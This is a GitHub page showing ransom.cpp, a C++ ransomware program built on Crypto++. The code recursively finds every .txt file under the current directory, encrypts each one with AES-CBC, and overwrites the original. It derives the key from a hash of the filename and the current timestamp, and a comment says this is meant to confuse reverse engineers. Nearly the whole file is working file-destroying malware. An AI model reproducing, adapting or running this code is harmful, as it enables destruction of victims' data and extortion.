-
Notifications
You must be signed in to change notification settings - Fork 5
/
Copy pathransom.cpp
95 lines (79 loc) · 2.17 KB
/
ransom.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
#include "cryptopp/aes.h"
#include "cryptopp/modes.h"
#include "cryptopp/files.h"
#include "cryptopp/sha.h"
#include "cryptopp/filters.h"
#include <filesystem>
#include <iostream>
#include <fstream>
#include <windows.h>
#include <ctime>
void recursiveEncryption(const std::string path = ".");
void encryptFile(const std::string& filename);
byte* hashString(const std::string);
int main()
{
recursiveEncryption();
return 0;
}
void recursiveEncryption(const std::string path)
{
for (const auto& entry : std::filesystem::directory_iterator(path))
{
if (entry.is_directory())
{
recursiveEncryption(entry.path().string());
}
else if (entry.path().extension() == ".txt")
{
encryptFile(entry.path().string());
}
}
}
void encryptFile(const std::string& filename)
{
// Create filename for the encrypted copyn
std::string filenameCpy = filename + ".cpy";
// Create 64 "random" bytes to create key
byte* k = hashString(filename.substr(filename.rfind("\\") + 1));
CryptoPP::SecByteBlock seed(k, 64);
// Do some magic to confuse reverse engineers
// key = xor(seed[0:32], timestamp[:3])
CryptoPP::SecByteBlock key(32);
int t = std::time(0);
for (int i = 0; i < 32; i++)
{
byte bt = t >> (i % 4 * 8) & 0xff;
key[i] = seed[i] ^ bt;
}
// iv = xor(seed[32:48], seed[48:64])
CryptoPP::SecByteBlock iv(16);
for (int i = 0; i < 16; i++)
{
iv[i] = seed[i + 32] ^ seed[i + 48];
}
// init the AES encryption
CryptoPP::CBC_Mode<CryptoPP::AES>::Encryption e;
e.SetKeyWithIV(key, key.size(), iv, iv.size());
// Open input and output file
std::ifstream in{ filename, std::ios::binary };
std::ofstream out{ filenameCpy, std::ios::binary };
// Encrypt file content
CryptoPP::FileSource fs{ in, true,
new CryptoPP::StreamTransformationFilter{
e, new CryptoPP::FileSink{out}
}
};
// Close file streams
in.close();
out.close();
// Rename file.cpy to file and overwrite unencrypted file
std::filesystem::rename(filenameCpy, filename);
}
byte* hashString(std::string data)
{
byte const* byteData = (byte*)data.data();
byte* hash = new byte[CryptoPP::SHA512::DIGESTSIZE];
CryptoPP::SHA512().CalculateDigest(hash, byteData, data.size());
return hash;
}